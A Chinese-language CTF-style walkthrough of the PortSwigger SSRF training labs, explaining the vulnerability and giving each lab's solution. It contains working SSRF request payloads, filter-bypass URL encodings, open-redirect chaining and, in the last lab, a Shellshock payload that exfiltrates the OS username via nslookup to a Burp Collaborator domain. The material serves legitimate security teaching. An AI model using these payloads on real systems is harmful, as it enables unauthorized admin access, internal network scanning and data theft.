前言
Portswigger是Burpsuite的官網，也是一個非常好的漏洞訓練平臺。其Web安全靶場地址為：https://portswigger.net/web-security/
該靶場的訓練內容側重於對Burpsuite各項功能的深入挖掘，這也是《黑客攻防技術寶典Web實戰篇》的實戰訓練平臺，配合使用學習效果更佳。
這裡僅針對其中的SSRF漏洞靶場，進行一個完整的解讀。
SSRF漏洞簡介
伺服器端請求偽造(SSRF)是一種 web 安全漏洞，它允許攻擊者誘導伺服器端應用程式向攻擊者選擇的任意域發出 HTTP 請求。
在典型的 SSRF 示例中，攻擊者可能會使伺服器連線回自己，或者連線到這個組織的其他基於 web 的服務，或者連線到外部的第三方系統。
SSRF 攻擊的影響
成功的SSRF攻擊通常會導致易受攻擊的應用程式本身或可以與該應用程式通訊的其他後端系統上未經授權的操作或對組織內資料的訪問。在某些情況下，SSRF漏洞可能允許攻擊者執行任意命令。
常見的SSRF攻擊
SSRF 攻擊經常利用信任關係將來自易受攻擊的應用程式的攻擊升級並執行未經授權的操作。這些信任關係可能與伺服器本身有關，或者與同一組織內的其他後端系統有關。
針對伺服器本身的SSRF攻擊
漏洞介紹
在針對伺服器本身的 SSRF 攻擊中，攻擊者誘導應用程式通過其環回網路介面向託管應用程式的伺服器發出 HTTP 請求。這通常包括提供一個帶有主機名的 URL，比如127.0.0.1或 localhost。
例如，考慮一個購物應用程式，該應用程式允許使用者檢視某個商店中是否有存貨。為了提供庫存資訊，應用程式必須根據所涉及的產品和商店查詢各種後端REST API。該功能是通過將URL通過前端HTTP請求傳遞到相關的後端API端點來實現的。因此，當使用者檢視某件商品的庫存狀態時，他們的瀏覽器會發出如下請求：
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1
這使伺服器向指定的URL發出請求，檢索庫存狀態，並將其返回給使用者。
在這種情況下，攻擊者可以修改請求以指定伺服器本地的URL。例如：
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://localhost/admin
在這裡，伺服器將獲取/admin的內容並將其返回給使用者。
當然，現在攻擊者可以直接訪問/admin。但是管理功能通常只有適當的經過身份驗證的使用者才能訪問。因此，直接訪問URL的攻擊者不會看到任何感興趣的內容。但是，當對/admin URL 的請求來自本地計算機本身時，將繞過正常的訪問控制。該應用程式授予對管理功能的完全訪問許可權，因為該請求似乎來自受信任的位置。
Lab: Basic SSRF against the local server
地址：https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost
靶場介紹：
這個靶場有一個庫存檢查功能，可以從內部系統中獲取資料。
要通關此靶場，請更改庫存檢查的URL以訪問管理介面http://localhost/admin並刪除使用者carlos。
靶場通關：
點選Access the lab進入靶場。
點選Check stock抓包
修改stockApi的內容為：http://locathost/admin
再點選刪除carlos使用者，抓包，得到刪除目標使用者的URL：
http://localhost/admin/delete?username=carlos
將stockApi引數修改為此URL即可
漏洞原因
為什麼應用程式以這種方式執行，並且隱式信任來自本地機器的請求？出現這種情況的原因有很多:
（1） 訪問控制檢查可能在應用程式伺服器前面的不同元件中實現。當連線返回到伺服器本身時，就會繞過檢查。
（2） 出於災難恢復的目的，應用程式可能允許來自本地計算機的任何使用者在不登入的情況下進行管理訪問。這為管理員在丟失憑據時恢復系統提供了一種方法。這裡的假設是，只有完全受信任的使用者才會直接來自伺服器本身
（3） 管理介面可能監聽的埠號與主應用程式不同，因此使用者可能無法直接訪問。
這種信任關係(來自本地機器的請求與普通請求的處理方式不同)常常使SSRF成為一個嚴重的漏洞。
SSRF 對其他後端系統的攻擊
漏洞介紹
伺服器端請求偽造中經常出現的另一種信任關係是，應用伺服器能夠與使用者無法直接訪問的其他後端系統互動。這些系統通常有不可路由的私有 IP 地址。由於後端系統通常受到網路拓撲的保護，因此它們通常具有較弱的安全性。在許多情況下，內部後端系統包含敏感功能，任何能夠與系統互動的人都可以在不進行身份驗證的情況下訪問這些功能。
在前面的例子中，假設在後端 URL https://192.168.0.68/admin 中有一個管理介面。在這裡，攻擊者可以通過提交以下請求，利用 SSRF 漏洞訪問管理介面:
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://192.168.0.68/admin
Lab: Basic SSRF against another back-end system
地址：https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system
靶場介紹：
該靶場具有庫存檢查功能，可從內部系統獲取資料。
要通關此靶場，請使用庫存檢查功能掃描內部192.168.0.X範圍，以查詢埠8080上的管理介面，然後使用它刪除使用者carlos。
靶場通關：
點選Access the lab進入靶場。
點選Check stock抓包，傳送到Intruder
設定payload,跑192.168.0.0/24這個C段的8080埠
找到狀態為200的響應包，即為管理介面
再點選刪除carlos使用者，抓包，得到刪除目標使用者的URL：
http://192.168.0.205:8080/admin/delete?username=carlos
將stockApi引數修改為此URL即可
繞過常見的SSRF防禦措施
包含 SSRF 行為的應用程式與旨在防止惡意利用的防禦措施一起出現是很常見的。通常，這些防禦措施可以被繞過。
SSRF攻擊之繞過基於黑名單的輸入過濾器
漏洞介紹
一些應用程式阻止包含主機名(如127.0.0.1和 localhost)或敏感 url (如/admin)的輸入。在這種情況下，我們通常可以使用各種技術來繞過過濾器:
(1) 使用127.0.0.1的替代IP表示，例如：2130706433（10進位制ip）、017700000001（8進位制ip）、127.1（短ip）
(2) 註冊自己的域名，解析為127.0.0.1
(3) 使用URL編碼或大小寫變化繞過
Lab: SSRF with blacklist-based input filter
地址：https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter
靶場介紹：
這個靶場有一個庫存檢查功能，可以從內部系統中獲取資料。
要通關此靶場，請更改庫存檢查的URL以訪問管理介面http://localhost/admin並刪除使用者carlos
開發人員已部署了兩個弱的反SSRF防禦，您需要繞過這些防禦。
靶場通關：
點選Access the lab進入靶場。
點選Check stock抓包，傳送到Repeater
將stockApi引數中的URL更改為http://127.0.0.1/，發現請求被阻止。
將127.0.0.1改為2130706433即可繞過
將URL更改為http://2130706433/admin，發現再次被阻止。
將字元a進行兩次url編碼得到%2561，或者用A替代a,即可繞過
將stockApi引數中的URL更改為http://2130706433/%2561dmin/delete?username=carlos 即可刪除carlos使用者
SSRF攻擊之繞過基於白名單的輸入過濾器
漏洞介紹
一些應用程式只允許匹配以允許值的白名單開頭或包含這些值的輸入。在這種情況下，有時可以通過利用URL解析中的不一致性來繞過過濾。
URL 規範包含了許多在實現 URL 特定解析和驗證時容易被忽略的特性:
（1） 您可以使用@字元在主機名之前的URL中嵌入憑據。例如：
https://expected-host@evil-host
（2） 您可以使用#字元來指示URL片段。例如：
https://evil-host#expected-host
（3） 您可以利用DNS命名層次結構將所需的輸入放入您控制的標準DNS名稱中。例如：
https://expected-host.evil-host
（4） 您可以通過url編碼字元來混淆url解析程式碼。如果實現過濾器的程式碼處理url編碼字元的方式與處理後端HTTP請求的程式碼不同，那麼這一點特別有用
Lab: SSRF with whitelist-based input filter
地址：https://portswigger.net/web-security/ssrf/lab-ssrf-with-whitelist-filter
靶場介紹：
這個靶場有一個庫存檢查功能，可以從內部系統中獲取資料。
要通關此靶場，請更改庫存檢查的URL以訪問管理介面http://localhost/admin並刪除使用者carlos
開發人員已部署了需要繞過的反SSRF防禦。
靶場通關：
點選Access the lab進入靶場
點選Check stock抓包，傳送到Repeater
將stockApi引數中的URL更改為http://127.0.0.1/ ，發現請求被阻止，告訴我們主機名必須是stock.weliketoshop.net
使用@字元可以繞過
新增#，之後請求又被阻止，告訴我們主機名必須是stock.weliketoshop.net
將#進行兩次url編碼，可以繞過
http://127.0.0.1:80%2523@stock.weliketoshop.net
最後，訪問
http://127.0.0.1:80%2523@stock.weliketoshop.net/admin/delete?username=carlos
即可刪除目標使用者
通過開放重定向繞過 SSRF 過濾器
漏洞介紹
通過利用開放重定向漏洞，有時可以繞過任何型別的基於過濾器的防禦。在前面的 SSRF 示例中，假設使用者提交的 URL 經過嚴格驗證，以防止惡意利用 SSRF 行為。但是，允許 url 的應用程式包含一個開放重定向漏洞。如果用於生成後端HTTP請求的API支援重定向，您可以構造一個滿足篩選器的URL，並將重定向請求導向所需的後端目標。
例如，假設應用程式包含一個開放重定向漏洞，其URL如下:
/product/nextProduct?currentProductId=6&path=http://evil-user.net
返回重定向到:
你可以利用開放重定向漏洞繞過 URL 過濾器，利用 SSRF 漏洞如下:
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin
這個 SSRF 漏洞之所以有效，是因為應用程式首先驗證所提供的 stockAPI URL 是否位於允許的域上(事實上它是)。然後，應用程式請求提供的 URL，這將觸發開啟的重定向。它遵循重定向，並向攻擊者選擇的內部 URL 發出請求。
Lab: SSRF with filter bypass via open redirection vulnerability
地址：https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection
靶場介紹：
這個靶場有一個庫存檢查功能，可以從內部系統中獲取資料。
要通關此靶場，請更改庫存檢查的URL以訪問管理介面http://192.168.0.12:8080/admin 並刪除使用者carlos
庫存檢查器被限制為只能訪問本地應用程式，因此您需要首先找到一個影響該應用程式的開放重定向。
靶場通關：
點選Access the lab進入靶場
點選Check stock抓包，傳送到Repeater
觀察到不可能使伺服器直接將請求釋出到其他主機
單擊“Next product”，然後觀察到path引數已放置在重定向響應的Location標頭中，從而導致開放重定向
建立一個利用開放重定向漏洞的URL，並重定向到管理介面，並將其輸入到stockApi引數
/product/nextProduct?path=http://192.168.0.12:8080/admin
庫存檢查器遵循重定向並顯示了管理頁面。下面，我們可以修改路徑以刪除目標使用者
/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos
Blind SSRF漏洞
Blind SSRF簡介
當應用程式被誘導向提供的URL發出後端HTTP請求，但後端請求的響應沒有在應用程式的前端響應中返回時，就會出現Blind SSRF漏洞。
Blind SSRF通常更難利用，但有時會導致在伺服器或其他後端元件上遠端執行程式碼。
由於Blind SSRF漏洞的單向特性，其影響通常比常規的SSRF漏洞低。儘管在某些情況下可以利用它們來實現遠端程式碼執行，但不能輕易利用它們從後端系統檢索敏感資料
如何發現和利用Blind SSRF漏洞
檢測Blind SSRF漏洞的最可靠方法是使用帶外（OAST）技術。這涉及嘗試觸發對您控制的外部系統的HTTP請求，並監視與該系統的網路互動。
使用帶外技術的最簡單，最有效的方法是使用Burp Collaborator。您可以使用Burp Collaborator客戶端生成唯一的域名，將其作為payload傳送給應用程式，並監視與這些域的任何互動。如果觀察到來自應用程式的傳入HTTP請求，那麼它很有可能存在SSRF漏洞。
Lab: Blind SSRF with out-of-band detection
地址：https://portswigger.net/web-security/ssrf/blind/lab-out-of-band-detection
靶場介紹：
該站點使用分析軟體，該軟體會在載入產品頁面時獲取Referer標頭中指定的URL。
要通關此靶場，請使用此功能向公共Burp Collaborator伺服器發出HTTP請求。
靶場通關：
點選Access the lab進入靶場
訪問產品，在Burp Suite中攔截請求，然後將其傳送給Burp Repeater
啟動Burp Collaborator客戶端
點選"Copy to clipboard"，並使Burp Collaborator客戶端視窗保持開啟狀態。
更改Referer標頭，以使用生成的Burp Collaborator域代替原始域。傳送請求。
返回到Burp Collaborator客戶端視窗，然後單擊“Poll now”。如果沒有任何互動，請等待幾秒鐘，然後重試，因為伺服器端命令是非同步執行的。
Lab: Blind SSRF with Shellshock exploitation
地址：https://portswigger.net/web-security/ssrf/blind/lab-shellshock-exploitation
靶場介紹：
該站點使用分析軟體，該軟體會在載入產品頁面時獲取Referer標頭中指定的URL。
要通關此靶場，請使用此功能對192.168.0.X內的內部伺服器執行Blind SSRF攻擊。在攻擊中，對內部伺服器使用Shellshock有效載荷，以通過公共Burp Collaborator伺服器洩露OS使用者的名稱。
靶場通關：
Burp中安裝”Collaborator Everywhere”擴充套件
將靶機的域新增到Burp Suite的scope中，以便Collaborator Everywhere將其定位為目標。
瀏覽該站點。請注意，當載入產品頁面時，它會通過User-Agent和Referer頭觸發與Burp Collaborator的HTTP互動。
將瀏覽產品頁面的請求傳送到Burp Intruder。
使用Burp Collaborator客戶端生成唯一的Burp Collaborator有效負載，並將其放入以下Shellshock有效負載中：
() { :; }; /usr/bin/nslookup $(whoami).YOUR-SUBDOMAIN-HERE.burpcollaborator.net
將Burp Intruder請求中的User-Agent字串替換為包含你的Collaborator域的Shellshock有效載荷。
再將Burp Intruder請求中的Referer字串替換成http://192.168.0.X:8080
配置完成後，點選開始攻擊
攻擊完成後，返回Burp Collaborator客戶端視窗，然後單擊“Poll now”。如果未列出任何互動，請等待幾秒鐘，然後重試，因為伺服器端命令是非同步執行的。
之後，我們看到一個由後端系統發起的DNS互動，該後端系統受到了成功的Blind SSRF攻擊。作業系統使用者的名稱出現在DNS子域中。
